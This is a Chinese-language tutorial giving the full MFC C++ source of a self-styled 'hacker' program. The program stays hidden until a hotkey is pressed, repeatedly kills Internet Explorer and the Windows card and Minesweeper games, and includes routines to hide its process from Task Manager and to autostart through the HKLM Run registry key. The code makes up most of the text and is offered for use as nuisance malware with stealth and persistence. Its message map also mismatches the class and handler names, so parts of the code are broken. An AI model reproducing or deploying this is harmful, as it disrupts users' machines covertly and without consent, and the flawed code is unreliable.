作者:f286
下载本文示例源代码
注:这个程序有一定的破坏性,请不要用于非法的目的!
代码运行效果图如下:
小弟最近看了VC知识库在线杂志第十二期中,有一篇《黑客攻击手段之偷梁换柱》突发灵感也想写一个黑客程序。经过了几天的搜集资料和试验终于写出了一个可以自动关闭IE和windows中自带游戏的小程序和大家分享,希望大家多提意见!
我在程序中采用了两种方法:
一种是采用了FindWindow(LPCTSTRlpszClassName,LPCTSTR lpszWindowName )这个函数来捕捉窗口的名称,但这种方法对于一些窗口标题变化的程序的效果就不好了。
另一种是CreateToolhelp32Snapshot( DWORD dwFlags, DWORD th32ProcessID)这个函数是对现有工作进程进行一次快照,这样根据进程的名称就可以很方便的找到它,但是它使用比第一种方法复杂,而且还要在头文件中加入#include <tlhelp32.h>这个库!下面我们来看一下程序的主要的函数。
程序一共有这么几个部分:
热键处理函数:OnHotKey(WPARAM wParam,LPARAM lParam)
隐藏程序自己的进程(在windows的任务管理器中):HidePorcess(void)
创建一个线程用于完成核心内容:CreateMyThread(void)
在程序结束时用于关闭线程:CloseMyThread(void)
列出当前系统中所有进程(如果找到要找的进程关闭它):FindMyProcess(CString m_strprocessname)
更改注册表使程序和系统一起启动运行:RegMySys(void)
具体函数内容如下:
头文件:IECloesDlg.h
// IECloesDlg.h : 头文件 // #pragma once #include "statlink.h" // CIECloesDlg 对话框 class CIECloesDlg : public CDialog { // 构造 public: CIECloesDlg(CWnd* pParent = NULL); // 标准构造函数 // 对话框数据 enum { IDD = IDD_IECLOES_DIALOG }; protected: virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV 支持 // 实现 protected: HICON m_hIcon; // 生成的消息映射函数 virtual BOOL OnInitDialog(); afx_msg void OnPaint(); afx_msg HCURSOR OnQueryDragIcon(); afx_msg LRESULT OnHotKey(WPARAM wParam,LPARAM lParam); DECLARE_MESSAGE_MAP() public: afx_msg void OnBnClickedClose(); afx_msg void OnWindowPosChanging(WINDOWPOS* lpwndpos); afx_msg int OnCreate(LPCREATESTRUCT lpCreateStruct); afx_msg void OnDestroy(); afx_msg void OnBnClickedHide(); // 开始运行时候隐藏对话框的变量 bool m_bHide; // 是否关闭IE bool m_bIEClose; // 是否关闭window自带游戏 bool m_bPlayclose; afx_msg void OnBnClickedCloseie(); afx_msg void OnBnClickedCloseplay(); //超链接的控件变量 CStaticLink m_myemail; // 启动一个线程 bool CreateMyThread(void); // 线程句柄 HANDLE m_handle; //要找到窗口的句柄 // IE的句柄 HWND m_hie; // 扫雷游戏的句柄 HWND m_hsaolei; //空当接龙游戏的句柄 HWND m_hkongdangjielong; //蜘蛛纸牌游戏的句柄 HWND m_hzhizhu; // 关闭线程 void CloseMyThread(void); // 列出进程 void FindMyProcess(CString m_strprocessname); // 更改注册表使程序和系统一起启动运行 void RegMySys(void); // 在任务管理器中隐藏程序进程(这样才像个黑客) void HidePorcess(void); // 程序在硬盘中的路径 CString m_strfilepath; };实现文件:IECloesDlg.cpp
// IECloesDlg.cpp : 实现文件 // #include "stdafx.h" #include "IECloes.h" #include "IECloesDlg.h" #include <tlhelp32.h>//CreateToolhelp32Snapshot这个函数需要加载的头文件 #ifdef _DEBUG #define new DEBUG_NEW #endif //线程函数 UINT ThreadFunc(LPVOID lParam) { CIECloesDlg *pdlg=(CIECloesDlg*)lParam; while (1) { if (pdlg->m_bPlayclose) { pdlg->m_hkongdangjielong=FindWindow(NULL,"空当接龙"); pdlg->m_hsaolei=FindWindow(NULL,"扫雷"); pdlg->m_hzhizhu=FindWindow(NULL,"蜘蛛"); if (pdlg->m_hkongdangjielong) { Sleep(1000); SendMessage(pdlg->m_hkongdangjielong,WM_DESTROY,0,0); } if (pdlg->m_hsaolei) { Sleep(1000); SendMessage(pdlg->m_hsaolei,WM_DESTROY,0,0); } if (pdlg->m_hzhizhu) { Sleep(3000); SendMessage(pdlg->m_hzhizhu,WM_DESTROY,0,0); } } if (pdlg->m_bIEClose) { pdlg->FindMyProcess("IEXPLORE.EXE"); } } return 0; } // CIECloesDlg 对话框 CIECloesDlg::CIECloesDlg(CWnd* pParent /*=NULL*/) : CDialog(CIECloesDlg::IDD, pParent) , m_bHide(false) , m_bIEClose(false) , m_bPlayclose(false) , m_handle(false) , m_hie(NULL) , m_hsaolei(NULL) ,m_hzhizhu(NULL) ,m_hkongdangjielong(NULL) , m_strfilepath(_T("")) { m_hIcon = AfxGetApp()->LoadIcon(IDR_MAINFRAME); } void CIECloesDlg::DoDataExchange(CDataExchange* pDX) { CDialog::DoDataExchange(pDX); } BEGIN_MESSAGE_MAP(CIECloseDlg, CDialog) //{{AFX_MSG_MAP(CIECloseDlg) ON_WM_PAINT() ON_WM_QUERYDRAGICON() ON_BN_CLICKED(IDC_CHECK2, OnCheck2) ON_BN_CLICKED(IDC_CHECK1, OnCheck1) ON_BN_CLICKED(IDC_BUTTON1, OnButton1) ON_BN_CLICKED(IDC_BUTTON2, OnButton2) ON_WM_WINDOWPOSCHANGING() ON_WM_DESTROY() ON_WM_CREATE() //}}AFX_MSG_MAP ON_MESSAGE(WM_HOTKEY,OnHotKey) END_MESSAGE_MAP() // CIECloesDlg 消息处理程序 BOOL CIECloesDlg::OnInitDialog() { CDialog::OnInitDialog(); // 设置此对话框的图标。当应用程序主窗口不是对话框时,框架将自动 // 执行此操作 SetIcon(m_hIcon, TRUE); // 设置大图标 SetIcon(m_hIcon, FALSE); // 设置小图标 CheckDlgButton(IDC_CLOSEPLAY, BST_CHECKED); m_bPlayclose=true; CreateMyThread(); //初始化超级链接 m_myemail.m_link="mailto:[email protected]"; m_myemail.SubclassDlgItem(IDC_MYEMAIL,this); //在任务管理器中隐藏进程 // HidePorcess(); //修改注册表,使之自动启动 //RegMySys(); return TRUE; // 除非设置了控件的焦点,否则返回 TRUE } // 如果向对话框添加最小化按钮,则需要下面的代码 // 来绘制该图标。对于使用文档/视图模型的 MFC 应用程序, // 这将由框架自动完成。 void CIECloesDlg::OnPaint() { if (IsIconic()) { CPaintDC dc(this); // 用于绘制的设备上下文 SendMessage(WM_ICONERASEBKGND, reinterpret_cast(dc.GetSafeHdc()), 0); // 使图标在工作矩形中居中 int cxIcon = GetSystemMetrics(SM_CXICON); int cyIcon = GetSystemMetrics(SM_CYICON); CRect rect; GetClientRect(&rect); int x = (rect.Width() - cxIcon + 1) / 2; int y = (rect.Height() - cyIcon + 1) / 2; // 绘制图标 dc.DrawIcon(x, y, m_hIcon); } else { CDialog::OnPaint(); } } //当用户拖动最小化窗口时系统调用此函数取得光标显示。 HCURSOR CIECloesDlg::OnQueryDragIcon() { return static_cast(m_hIcon); } void CIECloesDlg::OnBnClickedClose() { SendMessage(WM_CLOSE,0,0); } void CIECloesDlg::OnWindowPosChanging(WINDOWPOS* lpwndpos) { CDialog::OnWindowPosChanging(lpwndpos); if (!m_bHide) { lpwndpos->flags&=~SWP_SHOWWINDOW; } } LRESULT CIECloesDlg::OnHotKey(WPARAM wParam,LPARAM lParam) { if (wParam==1111||wParam==1112) { m_bHide=true; ShowWindow(SW_SHOW); } SetWindowPos(&this->wndTopMost,0,0,0,0,SWP_NOMOVE|SWP_NOSIZE); return 0; } int CIECloesDlg::OnCreate(LPCREATESTRUCT lpCreateStruct) { if (CDialog::OnCreate(lpCreateStruct) == -1) return -1; //注册热键为“Ctrl+Shift+j(J)” RegisterHotKey(this->m_hWnd,IDC_HOTKEYA,MOD_CONTROL|MOD_SHIFT,''J''); RegisterHotKey(this->m_hWnd,IDC_HOTKEYB,MOD_SHIFT|MOD_CONTROL,''j''); return 0; } void CIECloesDlg::OnDestroy() { CDialog::OnDestroy(); //撤消热键的注册 UnregisterHotKey(this->m_hWnd,IDC_HOTKEYA); UnregisterHotKey(this->m_hWnd,IDC_HOTKEYB); //如果关闭时候线程函数还在工作就结束它 if (m_handle) { TerminateThread(m_handle,0); } } void CIECloesDlg::OnBnClickedHide() { ShowWindow(SW_HIDE); } void CIECloesDlg::OnBnClickedCloseie() { m_bIEClose=!m_bIEClose; CreateMyThread(); CloseMyThread(); } void CIECloesDlg::OnBnClickedCloseplay() { m_bPlayclose=!m_bPlayclose; CreateMyThread(); CloseMyThread(); } // 启动一个线程 bool CIECloesDlg::CreateMyThread(void) { if (m_handle) { return true; } else if(m_bIEClose||m_bPlayclose) { m_handle=AfxBeginThread((AFX_THREADPROC)ThreadFunc,this); return true; } return false; } // 关闭线程(如果在选中的情况下,在取消CHeck那就关闭线程) void CIECloesDlg::CloseMyThread(void) { if((!m_bIEClose||!m_bPlayclose)&&m_handle) { TerminateThread(m_handle,0); } } // 列出进程(如果找到要找的进程关闭它) void CIECloesDlg::FindMyProcess(CString m_strprocessname) { //要查找进程所用到的句柄 HANDLE m_hfindhandle=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0); PROCESSENTRY32* info=new PROCESSENTRY32; info->dwSize=sizeof(PROCESSENTRY32); if(Process32First(m_hfindhandle,info)) { CString m_strname;//进程的名称 while(Process32Next(m_hfindhandle,info)!=FALSE) { m_strname=info->szExeFile; if (m_strname==m_strprocessname) { HANDLE h=OpenProcess(PROCESS_ALL_ACCESS,TRUE,info->th32ProcessID); if(h!=NULL) { Sleep(3000); TerminateProcess(h,0); } } } CloseHandle(m_hfindhandle);//关闭进程否J则会出现错误 if (info) { delete info; } } } // 更改注册表使程序和系统一起启动运行 void CIECloesDlg::RegMySys(void) { HKEY hregkey=NULL; CString m_strreg; GetFullPathName("IECloes.exe", (DWORD)m_strfilepath.GetBuffer(MAX_PATH+1), m_strfilepath.GetBuffer(0), NULL); m_strreg=_T("Software//Microsoft//Windows//CurrentVersion//Run"); if (RegOpenKey(HKEY_LOCAL_MACHINE,m_strreg,&hregkey)!=ERROR_SUCCESS) return; else { m_strfilepath.ReleaseBuffer(); if(::RegSetValueEx( hregkey, "IECloes", 0, REG_SZ, (CONST BYTE *)m_strfilepath.GetBuffer(0), m_strfilepath.GetLength() )!=ERROR_SUCCESS) return; } } // 在任务管理器中隐藏程序进程 //注:这个函数只有在win98中才可以其作用,win2000/xp都不行 void CIECloesDlg::HidePorcess(void) { HINSTANCE hInst = LoadLibrary("KERNEL32.DLL"); if(hInst) { typedef DWORD (WINAPI *MYFUNC)(DWORD,DWORD); MYFUNC RegisterServiceProcessFun = NULL; RegisterServiceProcessFun = (MYFUNC)GetProcAddress(hInst, "RegisterServiceProcess"); if(RegisterServiceProcessFun) { RegisterServiceProcessFun(GetCurrentProcessId(),1); } FreeLibrary(hInst); } }